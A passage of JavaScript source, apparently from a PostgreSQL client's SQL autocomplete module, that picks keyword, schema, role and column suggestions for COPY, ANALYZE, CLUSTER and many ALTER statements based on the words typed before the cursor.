bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'COPY' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [autocompleteQuery.copy_keyword_one];\n \n } else if (strPreviousKeyWord === 'COPY' && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if (strPreviousKeyWord === 'FORMAT' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.copy_keyword_four];\n \n } else if (strPreviousKeyWord === 'FROM' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.copy_keyword_two_a];\n \n } else if (strPreviousKeyWord === 'TO' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.copy_keyword_two_b];\n \n } else if ((\n (bolCurrentCharOpenParen && intParenLevel === 0)\n || (bolAfterComma && intParenLevel === 1)\n || (bolCurrentCharWhitespace && intParenLevel === 1))) {\n arrQueries = [autocompleteQuery.copy_keyword_three];\n } else if ((\n (bolCurrentCharOpenParen && intParenLevel === 1)\n || (bolAfterComma && intParenLevel === 2)\n || (bolCurrentCharWhitespace && intParenLevel === 2))) {\n arrQueries = [autocompleteQuery.allcolumns];\n }\n \n } else if ((/^(ANALYZE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'ANALYZE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.analyze_keyword_one, autocompleteQuery.schemas];\n \n } else if (bolCurrentCharOpenParen || bolAfterComma) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if (strPreviousKeyWord === 'VERBOSE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(CLUSTER)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'CLUSTER' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.cluster_keyword_one, autocompleteQuery.schemas];\n \n } else if ((/(CLUSTER|VERBOSE)/gi).test(strPreviousKeyWord) && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [autocompleteQuery.cluster_keyword_two];\n \n } else if (strPreviousKeyWord === 'VERBOSE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'USING' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.table_qualified_indexes.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[1])];\n }\n \n } else if ((/^(ALTER)\\s*$/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'ALTER' && bolFirstSpace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.alter_keyword_one];\n }\n \n } else if ((/^(DROP)\\s*$/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'DROP' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.drop_keyword_one];\n }\n \n // drop\n } else if ((/^(DROP)/gi).test(strSearchQuery)) {\n arrQueries = autocompleteFirstQueriesByType(arrPreviousKeyWords, bolCurrentCharWhitespace, strPreviousWord);\n \n // all ALTER ... OWNER TO queries\n } else if ((/^(ALTER)/gi).test(strSearchQuery)\n && (arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'OWNERTO'\n && bolCurrentCharWhitespace\n && strPreviousKeyWord === strPreviousWord) {\n if (parseFloat(contextData.minorVersionNumber, 10) >= 9.5) {\n arrQueries = [['CURRENT_USER', 'SESSION_USER'], autocompleteQuery.roles];\n } else {\n arrQueries = [autocompleteQuery.roles];\n }\n \n // all ALTER ... SET SCHEMA queries\n } else if ((/^(ALTER)/gi).test(strSearchQuery)\n && (arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'SETSCHEMA'\n && bolCurrentCharWhitespace\n && strPreviousKeyWord === strPreviousWord) {\n \n arrQueries = [autocompleteQuery.schemas];\n \n // ALTER AGGREGATE and ALTER COLLATION and ALTER CONVERSION\n } else if ((/^(ALTER\\s*(AGGREGATE|COLLATION|CONVERSION))/gi).test(strSearchQuery)) {\n if ((/(AGGREGATE|COLLATION|CONVERSION)/gi).test(strPreviousKeyWord)\n && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (\n (strPreviousKeyWord === 'AGGREGATE' && bolCurrentCharWhitespace && strPreviousWord[strPreviousWord.length - 1] === ')')\n || (strPreviousKeyWord === 'COLLATION' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord)\n || (strPreviousKeyWord === 'CONVERSION' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord)\n ) {\n arrQueries = [['OWNER TO', 'RENAME TO', 'SET SCHEMA']];\n }\n \n } else if ((/^(ALTER\\s*DATABASE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'DATABASE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.databases];\n \n } else if (strPreviousKeyWord === 'DATABASE' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [['OWNER TO', 'RENAME TO', 'RESET', 'SET TABLESPACE', 'SET', 'WITH']];\n \n } else if (strPreviousKeyWord === 'WITH' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [['ALLOW_CONNECTIONS TRUE', 'ALLOW_CONNECTIONS FALSE', 'CONNECTION LIMIT', 'IS_TEMPLATE TRUE', 'IS_TEMPLATE FALSE']];\n \n } else if (strPreviousKeyWord === 'TABLESPACE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if (strPreviousKeyWord === 'SET' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.settings];\n \n } else if (strPreviousKeyWord === 'SET' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [['TO', 'TO DEFAULT', 'FROM CURRENT']];\n \n } else if (strPreviousKeyWord === 'RESET' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [['ALL'], autocompleteQuery.settings];\n }\n \n } else if ((/^(ALTER\\s*DEFAULT\\s*PRIVILEGES)/gi).test(strSearchQuery)) {\n if (\n (strPreviousKeyWord === 'PRIVILEGES' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord)\n || (strPreviousKeyWord === 'ROLE' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord)\n || (strPreviousKeyWord === 'SCHEMA' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord)\n ) {\n \n arrQueries = [[]];\n if (!(/.*FOR\\s*ROLE.*/gi).test(strSearchQuery)) { arrQueries[0].push('FOR ROLE'); }\n if (!(/.*IN\\s*SCHEMA.*/gi).test(strSearchQuery)) { arrQueries[0].push('IN SCHEMA'); }\n arrQueries[0].push('GRANT');\n arrQueries[0].push('REVOKE');\n arrQueries[0].push('REVOKE GRANT OPTION FOR');\n \n } else if (strPreviousKeyWord === 'ROLE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.roles];\n \n } else if (strPreviousKeyWord === 'SCHEMA' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (\n (\n (\n strPreviousKeyWord === 'GRANT' ||\n strPreviousKeyWord === 'REVOKE' ||\n (\n arrPreviousKeyWords[3] + arrPreviousKeyWords[2] +\n arrPreviousKeyWords[1] + arrPreviousKeyWords[0]\n ) === 'REVOKEGRANTOPTIONFOR'\n ) && (bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord)\n )\n || bolAfterComma) {\n arrQueries = [['ALL', 'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'TRUNCATE', 'REFERENCES', 'TRIGGER', 'USAGE', 'EXECUTE']];\n \n } else if ((/ALL|SELECT|INSERT|UPDATE|DELETE|TRUNCATE|REFERENCES|TRIGGER|USAGE|EXECUTE/gi).test(strPreviousWord)\n && (/.*GRANT.*/gi).test(strSearchQuery)\n && bolCurrentCharWhitespace && !bolAfterComma) {\n arrQueries = [['ON TABLES TO', 'ON SEQUENCES TO', 'ON FUNCTIONS TO', 'ON TYPES TO']];\n \n } else if ((/ALL|SELECT|INSERT|UPDATE|DELETE|TRUNCATE|REFERENCES|TRIGGER|USAGE|EXECUTE/gi).test(strPreviousWord)\n && (/.*REVOKE.*/gi).test(strSearchQuery)\n && bolCurrentCharWhitespace && !bolAfterComma) {\n arrQueries = [['ON TABLES FROM', 'ON SEQUENCES FROM', 'ON FUNCTIONS FROM', 'ON TYPES FROM']];\n \n } else if ((/TO|FROM/gi).test(strPreviousWord) && bolCurrentCharWhitespace) {\n arrQueries = [['PUBLIC'], autocompleteQuery.roles];\n \n } else if ((/TO|FROM/gi).test(strPreviousKeyWord) && (/.*REVOKE.*/gi).test(strSearchQuery) && bolCurrentCharWhitespace) {\n arrQueries = [['CASCADE', 'RESTRICT']];\n }\n \n } else if ((/^(ALTER\\s*DOMAIN)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'DOMAIN' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'DOMAIN' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [['SET DEFAULT', 'DROP DEFAULT', 'SET NOT NULL', 'DROP NOT NULL'\n , 'ADD', 'DROP CONSTRAINT', 'RENAME CONSTRAINT', 'VALIDATE CONSTRAINT'\n , 'OWNER TO', 'RENAME TO', 'SET SCHEMA']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'DROPCONSTRAINT' && bolCurrentCharWhitespace) {\n arrQueries = [['IF EXISTS'], autocompleteQuery.domain_qualified_constraints.replace(/\\{\\{DOMAINNAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'IFEXISTS' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.domain_qualified_constraints.replace(/\\{\\{DOMAINNAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'IFEXISTS' && bolCurrentCharWhitespace) {\n arrQueries = [['RESTRICT', 'CASCADE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'RENAMECONSTRAINT' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.domain_qualified_constraints.replace(/\\{\\{DOMAINNAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'RENAMECONSTRAINT' && bolCurrentCharWhitespace) {\n arrQueries = [['TO']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'VALIDATECONSTRAINT' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.domain_qualified_constraints.replace(/\\{\\{DOMAINNAME\\}\\}/gi, arrPreviousWords[2])];\n }\n \n } else if ((/^(ALTER\\s*EVENT\\s*TRIGGER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TRIGGER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'TRIGGER' && bolCurrentCharWhitespace) {\n arrQueries = [['DISABLE', 'ENABLE REPLICA', 'ENABLE ALWAYS', 'OWNER TO', 'RENAME TO']];\n }\n \n } else if ((/^(ALTER\\s*EXTENSION)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'EXTENSION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.extension];\n \n } else if (strPreviousKeyWord === 'EXTENSION' && bolFirstSpace) {\n arrQueries = [['UPDATE', 'UPDATE TO', 'SET SCHEMA', 'ADD', 'DROP']];\n \n } else if ((/(ADD|DROP)/gi).test(strPreviousKeyWord) && bolFirstSpace) {\n arrQueries = [['AGGREGATE', 'CAST', 'COLLATION', 'CONVERSION', 'DOMAIN', 'EVENT TRIGGER', 'FOREIGN DATA WRAPPER', 'FOREIGN TABLE', 'FUNCTION', 'MATERIALIZED VIEW', 'OPERATOR', 'OPERATOR CLASS', 'OPERATOR FAMILY', 'LANGUAGE', 'PROCEDURAL LANGUAGE', 'SCHEMA', 'SEQUENCE', 'SERVER', 'TABLE', 'TEXT SEARCH CONFIGURATION', 'TEXT SEARCH DICTIONARY', 'TEXT SEARCH PARSER', 'TEXT SEARCH TEMPLATE', 'TRANSFORM FOR', 'TYPE', 'VIEW']];\n \n } else {\n arrQueries = autocompleteFirstQueriesByType(arrPreviousKeyWords, bolCurrentCharWhitespace, strPreviousWord);\n }\n \n } else if ((/^(ALTER\\s*FOREIGN\\s*DATA\\s*WRAPPER)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'WRAPPER' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.extension];\n \n } else if (arrPreviousWords[1] === 'WRAPPER' && bolFirstSpace) {\n arrQueries = [['HANDLER', 'HANDLER NO HANDLER', 'VALIDATOR', 'VALIDATOR NO VALIDATOR', 'OPTIONS']];\n \n } else if (arrPreviousWords[1] !== 'NO' &&\n (strPreviousWord === 'HANDLER' || strPreviousWord === 'VALIDATOR') &&\n bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strPreviousKeyWord === 'OPTIONS' && bolCurrentCharOpenParen) || bolAfterComma) {\n arrQueries = [['ADD', 'SET', 'DROP']];\n }\n \n } else if ((/^(ALTER\\s*FOREIGN\\s*TABLE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'TABLE' && bolFirstSpace) {\n arrQueries = [['IF EXISTS', 'ONLY'], autocompleteQuery.schemas];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'TABLEIFEXISTS'\n && bolFirstSpace) {\n arrQueries = [['ONLY'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'ONLY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((\n strPreviousKeyWord === 'TABLE'\n || (arrPreviousKeyWords[2] + arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'TABLEIFEXISTS'\n || strPreviousKeyWord === 'ONLY'\n )\n && bolFirstSpace) {\n arrQueries = [['ADD COLUMN', 'DROP COLUMN', 'RENAME COLUMN', 'ALTER COLUMN', 'ADD', 'VALIDATE CONSTRAINT'\n , 'DROP CONSTRAINT', 'DISABLE TRIGGER', 'ENABLE TRIGGER', 'ENABLE REPLICA TRIGGER'\n , 'ENABLE ALWAYS TRIGGER', 'SET WITH OIDS', 'SET WITHOUT OIDS', 'INHERIT', 'NO INHERIT'\n , 'OPTIONS']];\n \n } else if ((arrPreviousWords[2] + arrPreviousWords[1] === 'ADDCOLUMN')\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if ((arrPreviousWords[3] + arrPreviousWords[2] === 'ADDCOLUMN')\n && bolFirstSpace) {\n arrQueries = [['COLLATE']];\n \n } else if ( (\n (arrPreviousWords[1] + arrPreviousWords[0] === 'DROPCOLUMN')\n || (arrPreviousWords[3] + arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0] === 'DROPCOLUMNIFEXISTS')\n || (arrPreviousWords[1] + arrPreviousWords[0] === 'RENAMECOLUMN')\n || (arrPreviousWords[1] + arrPreviousWords[0] === 'ALTERCOLUMN')\n ) && bolFirstSpace) {\n if (arrPreviousWords[1] === 'DROP') {\n arrQueries = [['IF EXISTS'], autocompleteQuery.allcolumns];\n } else {\n arrQueries = [autocompleteQuery.allcolumns];\n }\n \n } else if ((\n ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'DROPCOLUMN')\n || ((arrPreviousKeyWords[3] + arrPreviousKeyWords[2] + arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'DROPCOLUMNIFEXISTS')\n ) && bolFirstSpace) {\n arrQueries = [['RESTRICT', 'CASCADE']];\n \n } else if ( (arrPreviousKeyWords[1] + arrPreviousKeyWords[0] === 'RENAMECOLUMN')\n && bolFirstSpace) {\n arrQueries = [['TO']];\n \n } else if ( (arrPreviousKeyWords[1] + arrPreviousKeyWords[0] === 'ALTERCOLUMN')\n && bolFirstSpace) {\n arrQueries = [['TYPE', 'SET DEFAULT', 'DROP DEFAULT', 'SET NOT NULL', 'DROP NOT NULL', 'SET', 'RESET'\n , 'SET STATISTICS', 'SET STORAGE PLAIN', 'SET STORAGE EXTERNAL', 'SET STORAGE EXTENDED'\n , 'SET STORAGE MAIN']];\n \n } else if (strPreviousWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.types];\n \n } else if (strPreviousKeyWord === 'TYPE' && bolFirstSpace) {\n arrQueries = [['COLLATE']];\n \n } else if (strPreviousWord === 'COLLATE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.collations];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0] === 'VALIDATECONSTRAINT')\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_constraints.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0] === 'DROPCONSTRAINT')\n && bolFirstSpace) {\n arrQueries = [['IF EXISTS'], autocompleteQuery.table_qualified_constraints.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousWords[3] + arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'DROPCONSTRAINTIFEXISTS'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_constraints.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[4])];\n \n } else if ((\n (arrPreviousWords[4] + arrPreviousWords[3] + arrPreviousWords[2] + arrPreviousWords[1]) === 'DROPCONSTRAINTIFEXISTS'\n || (arrPreviousWords[2] + arrPreviousWords[1]) === 'DROPCONSTRAINT'\n ) && bolFirstSpace) {\n arrQueries = [['RESTRICT', 'CASCADE']];\n \n } else if ((\n (arrPreviousWords[1] + arrPreviousWords[0]) === 'DISABLETRIGGER'\n || (arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLETRIGGER'\n ) && bolFirstSpace) {\n arrQueries = [['ALL', 'USER'], autocompleteQuery.table_qualified_triggers.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((\n (arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLEREPLICATRIGGER'\n || (arrPreviousWords[2] + arrPreviousWords[1] + arrPreviousWords[0]) === 'ENABLEALWAYSTRIGGER'\n ) && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_triggers.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[3])];\n \n } else if (strPreviousWord === 'INHERIT' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (arrPreviousWords.indexOf('ADD') !== -1 && arrPreviousWords.indexOf('VALID') === -1\n && strPreviousWord !== 'ADD' && intParenLevel === 0\n && bolFirstSpace) {\n arrQueries = [['NOT VALID']];\n \n } else if (((/(SET|RESET)/gi).test(strPreviousKeyWord) && bolCurrentCharOpenParen) || bolAfterComma) {\n arrQueries = [['n_distinct = ', 'n_distinct_inherited = ']];\n \n } else if ((strPreviousKeyWord === 'OPTIONS' && bolCurrentCharOpenParen) || bolAfterComma) {\n arrQueries = [['ADD', 'SET', 'DROP']];\n }\n \n } else if ((/^(ALTER\\s*FUNCTION)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'FUNCTION' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'FUNCTION' && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'OWNER TO', 'SET SCHEMA', 'CALLED ON NULL INPUT', 'RETURNS NULL ON NULL INPUT'\n , 'STRICT', 'IMMUTABLE', 'STABLE', 'VOLATILE', 'LEAKPROOF', 'NOT LEAKPROOF', 'SECURITY INVOKER'\n , 'SECURITY DEFINER', 'EXTERNAL SECURITY INVOKER', 'EXTERNAL SECURITY DEFINER', 'COST', 'ROWS'\n , 'SET', 'RESET']];\n \n } else if (strPreviousWord === 'SET' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.settings];\n \n } else if (strPreviousWord === 'RESET' && bolFirstSpace) {\n arrQueries = [['ALL'], autocompleteQuery.settings];\n \n } else if (strPreviousKeyWord === 'SET' && bolFirstSpace) {\n arrQueries = [['TO', 'TO DEFAULT', 'FROM CURRENT']];\n \n } else if ((\n (/(INPUT|STRICT|IMMUTABLE|STABLE|VOLATILE|LEAKPROOF|INVOKER|DEFINER|DEFAULT|CURRENT|ALL)/gi).test(strPreviousWord)\n || ((/(COST|ROWS|TO|RESET)/gi).test(strPreviousKeyWord) && strPreviousKeyWord !== strPreviousWord)\n ) && bolFirstSpace) {\n arrQueries = [['RESTRICT']];\n }\n \n } else if ((/^(ALTER\\s*GROUP)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'GROUP' && bolFirstSpace) {\n arrQueries = [['CURRENT_USER', 'SESSION_USER'], autocompleteQuery.roles];\n \n } else if (arrPreviousWords[1] === 'GROUP' && bolFirstSpace) {\n arrQueries = [['ADD USER', 'DROP USER', 'RENAME TO']];\n \n } else if ((strPreviousWord === 'USER' && bolFirstSpace) || bolAfterComma) {\n arrQueries = [autocompleteQuery.roles];\n }\n \n } else if ((/^(ALTER\\s*INDEX)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'INDEX' && bolFirstSpace) {\n arrQueries = [['IF EXISTS', 'ALL IN TABLESPACE'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'EXISTS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strPreviousKeyWord === 'INDEX' || strPreviousKeyWord === 'EXISTS')\n && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'SET TABLESPACE', 'SET', 'RESET']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'INTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'INTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [['OWNED BY', 'SET TABLESPACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'OWNEDBY'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.roles];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'OWNEDBY'\n && bolFirstSpace) {\n arrQueries = [['SET TABLESPACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'SETTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'SETTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [['NOWAIT']];\n \n } else if (bolCurrentCharOpenParen || bolAfterComma) {\n arrQueries = [['fillfactor', 'buffering', 'fastupdate', 'gin_pending_list_limit', 'pages_per_range']];\n }\n \n } else if ((/^(ALTER\\s*(PROCEDURAL)\\s*LANGUAGE)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'LANGUAGE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.language];\n \n } else if (arrPreviousWords[1] === 'LANGUAGE' && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'OWNER TO']];\n }\n \n } else if ((/^(ALTER\\s*LARGE\\s*OBJECT)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'OBJECT' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.large_objects];\n \n } else if (arrPreviousWords[1] === 'OBJECT' && bolFirstSpace) {\n arrQueries = [['OWNER TO']];\n }\n \n } else if ((/^(ALTER\\s*MATERIALIZED\\s*VIEW)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'VIEW' && bolFirstSpace) {\n arrQueries = [['IF EXISTS', 'ALL IN TABLESPACE'], autocompleteQuery.schemas];\n \n } else if (strPreviousWord === 'EXISTS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((strPreviousKeyWord === 'VIEW' || strPreviousKeyWord === 'EXISTS')\n && strPreviousWord !== strPreviousKeyWord && bolFirstSpace) {\n arrQueries = [['RENAME COLUMN', 'RENAME TO', 'SET SCHEMA', 'ALTER COLUMN', 'CLUSTER ON'\n , 'SET WITHOUT CLUSTER', 'SET', 'RESET', 'OWNER TO', 'SET TABLESPACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'ALTERCOLUMN'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'ALTERCOLUMN'\n && bolFirstSpace) {\n arrQueries = [['SET STATISTICS', 'SET', 'RESET', 'SET STORAGE PLAIN'\n , 'SET STORAGE EXTERNAL', 'SET STORAGE EXTENDED', 'SET STORAGE MAIN']];\n \n } else if (((arrPreviousKeyWords[1] === 'ALTER' || arrPreviousKeyWords[1] === 'COLUMN') && (/(SET|RESET)/gi).test(strPreviousKeyWord))\n && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['n_distinct', 'n_distinct_inherited']];\n \n } else if (((/(SET|RESET)/gi).test(strPreviousKeyWord)) && (bolCurrentCharOpenParen || bolAfterComma)) {\n arrQueries = [['fillfactor', 'autovacuum_enabled', 'toast.autovacuum_enabled', 'autovacuum_vacuum_threshold', 'toast.autovacuum_vacuum_threshold', 'autovacuum_vacuum_scale_factor', 'toast.autovacuum_vacuum_scale_factor', 'autovacuum_analyze_threshold', 'autovacuum_analyze_scale_factor', 'autovacuum_vacuum_cost_delay', 'toast.autovacuum_vacuum_cost_delay', 'autovacuum_vacuum_cost_limit', 'toast.autovacuum_vacuum_cost_limit', 'autovacuum_freeze_min_age', 'toast.autovacuum_freeze_min_age', 'autovacuum_freeze_max_age', 'toast.autovacuum_freeze_max_age', 'autovacuum_freeze_table_age', 'toast.autovacuum_freeze_table_age', 'autovacuum_multixact_freeze_min_age', 'toast.autovacuum_multixact_freeze_min_age', 'autovacuum_multixact_freeze_max_age', 'toast.autovacuum_multixact_freeze_max_age', 'autovacuum_multixact_freeze_table_age', 'toast.autovacuum_multixact_freeze_table_age', 'log_autovacuum_min_duration', 'toast.log_autovacuum_min_duration', 'user_catalog_table']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'CLUSTERON'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.table_qualified_indexes.replace(/\\{\\{TABLENAME\\}\\}/gi, arrPreviousWords[2])];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'RENAMECOLUMN'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'RENAMECOLUMN'\n && bolFirstSpace) {\n arrQueries = [['TO']];\n \n } else if (strPreviousWord === 'TABLESPACE' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'INTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [['OWNED BY', 'SET TABLESPACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'OWNEDBY'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.roles];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'OWNEDBY'\n && bolFirstSpace) {\n arrQueries = [['SET TABLESPACE']];\n \n } else if ((arrPreviousWords[1] + arrPreviousWords[0]) === 'SETTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if ((arrPreviousKeyWords[1] + arrPreviousKeyWords[0]) === 'SETTABLESPACE'\n && bolFirstSpace) {\n arrQueries = [['NOWAIT']];\n }\n \n } else if ((/^(ALTER\\s*OPERATOR\\s*CLASS)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'CLASS' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'CLASS' && bolFirstSpace) {\n arrQueries = [['USING']];\n \n } else if (strPreviousWord === 'USING' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.access_methods];\n \n } else if (strPreviousKeyWord === 'USING' && bolFirstSpace) {\n arrQueries = [['RENAME TO', 'OWNER TO', 'SET SCHEMA']];\n }\n \n } else if ((/^(ALTER\\s*OPERATOR\\s*FAMILY)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'FAMILY' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'FAMILY' && bolFirstSpace) {\n arrQueries = [['USING']];\n \n } else if (strPreviousWord === 'USING' && bolFirstSpace) {\n arrQueries = 